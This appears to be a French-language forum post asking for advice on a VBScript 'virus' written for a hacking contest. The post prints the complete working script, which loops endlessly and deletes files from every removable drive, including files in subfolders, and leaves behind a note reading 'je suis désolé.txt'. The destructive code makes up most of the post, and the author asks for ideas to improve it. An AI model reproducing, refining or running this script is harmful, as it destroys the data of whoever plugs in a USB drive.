Partage
  • Partager sur Facebook
  • Partager sur Twitter

Concour hacking

créer un virus en vbscript

    19 août 2021 à 12:02:00

    Bonjour, dans le cadre du hacking, je suis invité à participer à un concours qui consiste à créer un virus en VBS. Pour le mien, j’ai ciblé les disques amovibles. Je vous montre mon code pour me donner des conseilles, des astuces, des idées. Un grand merci pour les réponses !

    Do while true
    Set FSO  = CreateObject("Scripting.FileSystemObject")
    For Each Drv In FSO.Drives
    	IF Drv.drivetype = 1 Then  
    		Set fils = FSO.getfolder(Drv.path &"\")
    		For Each fichier1 In  fils.Files   
    			fichier1.delete() 
    		wscript.sleep 3000
    		FSO.createtextfile(Drv&"\je suis désolé.txt")
    		Next
    		Set FSE  = CreateObject("Scripting.FileSystemObject")
    		Set virus = FSE.getfolder(Drv.path &"\")     
    			For Each dossier In  virus.Subfolders 
    				Set route1 = FSO.getfolder(dossier.path &"\")
    				For Each fichier2 In  route1.Files     
    					fichier2.Delete()               
    					Set route2 = FSO.getfolder(dossier.path &"\")
    					For Each fichier3 In  route2.subfolders
    						Set route2 = FSO.getfolder(fichier3.path &"\")
    						For Each fichier4 In  route2.Files 
    							fichier4.delete()
    						Next		
    					Next
    				Next	
    			Next
    End If
    Next
    wscript.sleep 5000
    Loop
    
    • Partager sur Facebook
    • Partager sur Twitter
    Ratia05

    Concour hacking

    × Après avoir cliqué sur "Répondre" vous serez invité à vous connecter pour que votre message soit publié.
    • Editeur
    • Markdown